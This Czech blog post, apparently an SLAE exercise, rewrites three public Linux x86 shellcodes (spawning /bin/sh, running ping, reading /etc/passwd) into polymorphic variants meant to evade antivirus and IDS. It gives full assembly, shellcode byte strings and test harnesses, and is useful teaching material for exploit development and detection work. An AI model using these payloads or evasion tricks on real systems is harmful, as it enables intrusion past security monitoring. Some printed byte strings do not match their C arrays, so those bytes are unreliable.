Polymorfní 32bitové shellcody

V šestém textu této 32bitové série bude demonstrováno psaní polymorfních shellcodů, budou přepsány 3 shellcody z veřejně dostupných zdrojů do jejich polymorfní verze. Polymorfní shellcode nesmí být větší jak 150 % délky originálu.

Běžné shellcody jsou fingerprintované AV a IDS, proto nejsou během penetračního testování příliš vhodné. Například „/bin/bash/“ může být pro IDS jasné varování, že se děje něco podezřelého. Problém není možné kompletně vyřešit používáním custom encoderů, protože ty jsou vždy identifikovatelné pomocí stubu a instrukcí, které obsahuje. Naštěstí existuje řešení a tím jsou polymorfní shellcody. Díky polymorfním shellcodům je možné obelstít běžné AV a IDS řešení.

Polymorfní shellcode může používat například:

  • vložení instrukcí, které nemají žádnou funkci a nemění funkcionality shellcodu
  • používání odlišných nebo náhodných registrů
  • randomizace pořadí prováděných instrukcí
  • používání přímo ESP oproti push/pop instrukcím
  • nepoužívání známých hex řetězců
  • používání exotičtějších instrukcí

Jako první použijeme jednoduchý execve(“/bin/sh”) shellcode s originální délkou 28 bytů. Zdroj

/*
Title:        Linux x86 execve("/bin/sh") - 28 bytes
Author:        Jean Pascal Pereira <pereira@secbiz.de>
Web:        http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Nejdříve si shellcode analyzujeme (nikdy nespouštějte neznámé shellcody bez předchozí analýzy), následně jej zkompilujeme a otestujeme:

  • gcc -fno-stack-protector -z execstack exec.c -o exec

Jak můžeme vidět, shellcode funguje, budou provedeny následující modifikace:

  • xor reg, reg:
    • sub reg, reg
  • mov reg1, reg2:
    • push reg2 + pop reg1
  • push 0x31373737:
    • add eax,0x30363636
    • add eax,0x01010101
    • push eax
    • xor eax,eax

Finální nasm soubor:

; Filename: exec-polymorphic.nasm
; Author: SLAE-14209
 
global _start           
 
section .text
 
_start:
     
      ;xor eax, eax
      sub eax, eax
      push eax
      push 0x68732f2f
      ;push 0x6e69622f
      add eax, 0x5d58511e
      add eax, 0x11111111
      push eax
      xor eax, eax
      ;mov ebx, esp
      push esp
      pop ebx
      ;mov ecx, eax
      push eax
      pop ecx
      mov edx, eax
      mov al, 0xb
      int 0x80
      
      ;xor eax, eax
      sub eax, eax
      inc eax
      int 0x80

Zkompilujeme a spustíme:

  • nasm -f elf32 -o exec.o exec.nasm
  • ld exec.o -o exec

Extrahujeme shellcode:

  • objdump -d ./exec |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x29\xc0\x50\x05\x1e\x1e\x62\x57\x05\x11\x11\x11\x11\x50\x31\xc0\x68\x2f\x62\x69\x6e\x54\x5b\x50\x59\x50\x59\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x29\xc0\x50\x68\x2f\x2f\x73\x68\x05\x1e\x51\x58\x5d\x05\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x50\x59\x89\xc2\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme a spustíme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost je 37 bytů.

Jako druhý shellcode použijeme sys_execve(“/bin/sh/, “-c”, “ping localhost”), který má velikost 55 bytů. Zdroj

char asshole[] = "\x6a\x0b"              // push   $0xb
                "\x58"                  // pop    %eax
                "\x99"                  // cltd
                "\x52"                  // push   %edx
                "\x68\x73\x74\x20\x20"  // push   $0x20207473
                "\x68\x61\x6c\x68\x6f"  // push   $0x6f686c61
                "\x68\x20\x6c\x6f\x63"  // push   $0x636f6c20
                "\x68\x70\x69\x6e\x67"  // push   $0x676e6970
                "\x89\xe6"              // mov    %esp,%esi
                "\x52"                  // push   %edx
                "\x66\x68\x2d\x63"      // pushw  $0x632d
                "\x89\xe1"              // mov    %esp,%ecx
                "\x52"                  // push   %edx
                "\x68\x2f\x2f\x73\x68"  // push   $0x68732f2f
                "\x68\x2f\x62\x69\x6e"  // push   $0x6e69622f
                "\x89\xe3"              // mov    %esp,%ebx
                "\x52"                  // push   %edx
                "\x56"                  // push   %esi
                "\x51"                  // push   %ecx
                "\x53"                  // push   %ebx
                "\x89\xe1"              // mov    %esp,%ecx
                "\xcd\x80";             // int    $0x80
                
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) asshole;
  (int)(*func)();
}

Jak můžeme vidět ze screenu výše, shellcode funguje.

Polymorfní kód:

  • push 0x68732f2f:
    • mov ebx, 0x68732f2e
    • inc ebx
    • push ebx
  • push 0x6e69622f:
    • mov ebx, 0x6e696230
    • dec ebx
    • push ebx
  • push word 0x632d:
    • add edx, 0x521d
    • add edx, 0x1110
    • push edx
    • xor edx, edx

Finální nasm soubor:

; Filename: ping-polymorphic.nasm
; Author: SLAE-14209
  
global _start           
section .text
_start:
  
    push 0xb
    pop eax
    cdq
    push edx
   
    push 0x74736f68         ; 
    push 0x6c61636f         ; 
    push 0x6c20676e         ; => "//bin/////ping localhost"
    push 0x69702f2f         ; 
    push 0x2f2f2f6e         ; 
    push 0x69622f2f         ;
    
    mov esi, esp
    push edx
    ;push word 0x632d       ; "c-"
    add dx, 0x521d
    add dx, 0x1110
    push dx
    xor edx, edx
   
    mov ecx, esp
    push edx
    ;push 0x68732f2f        ; "hs//"
    mov ebx, 0x68732f2e
    inc ebx
    push ebx
    
    ;push 0x6e69622f       ; "nib/"
    mov ebx, 0x6e696230
    dec ebx
    push ebx
    
    mov ebx, esp
    push edx
    push esi
    push ecx    
    push ebx
    mov ecx, esp
    int 0x80

Zkompilujeme a spustíme:

  • nasm -f elf32 -o ping.o ping.nasm
  • ld ping.o -o ping

Extrahujeme shellcode:

  • objdump -d ./ping |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 79 bytů.

Jako třetí shellcode použijeme shellcode, který provádí příkaz “cat /etc/passwd” s délkou 43 bytů. Zdroj

#include <stdio.h>
 
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
 
int main()
{
(*(void (*)()) shellcode)();
 
return 0;
}
 
 
/*
shellcode[]=        "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
                "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/

Shellcode funguje, provedené změny:

  •  xor eax,eax:
    • sub eax, eax
  •  push 0x7461632f:
    • add ebx, 0x6350521e
    • add ebx, 0x11111111
    • push ebx
    • xor ebx, ebx
  • push 0x6e69622f
    • add ebx, 0x7F7A7340
    • sub ebx, 0x11111111
    • push ebx
    • xor ebx, ebx
  • mov ebx,esp
    • push esp
    • pop ebx
  • mov al,0xb
    • mov al, 11

Finální nasm soubor:

; Filename: passwd-polymorphic.nasm
; Author: SLAE-14209
 
global _start           
section .text
_start:
     
    ;xor eax,eax
    sub eax, eax
    
    cdq
    push edx
    ;push 0x7461632f         ; "tac/"
    add eax, 0x6350521e
    add eax, 0x11111111
    push eax
    xor eax, eax
    
    ;push 0x6e69622f         ; "nib/"
    add eax, 0x7F7A7340
    sub eax, 0x11111111
    push eax
    xor eax, eax
    
    ;mov ebx,esp
    push esp
    pop ebx
 
    push edx
    push 0x64777373          ; "dwss"
    push 0x61702f2f          ; "ap//"    
    push 0x6374652f          ; "cte/"
    mov ecx, esp
   
    ;mov al,0xb
    mov al, 11
    
    push edx
    push ecx
    push ebx
    mov ecx, esp
    int 0x80   

Zkompilujeme a spustíme:

  • nasm -f elf32 -o passwd.o passwd.nasm
  • ld passwd.o -o passwd

Extrahujeme shellcode:

  • objdump -d ./passwd |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 59 bytů. Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
32bitový Custom Crypter
Předchozí příspěvek
Analýza vybraných 32bitových MSFvenom shellcodů

Podobná témata

Menu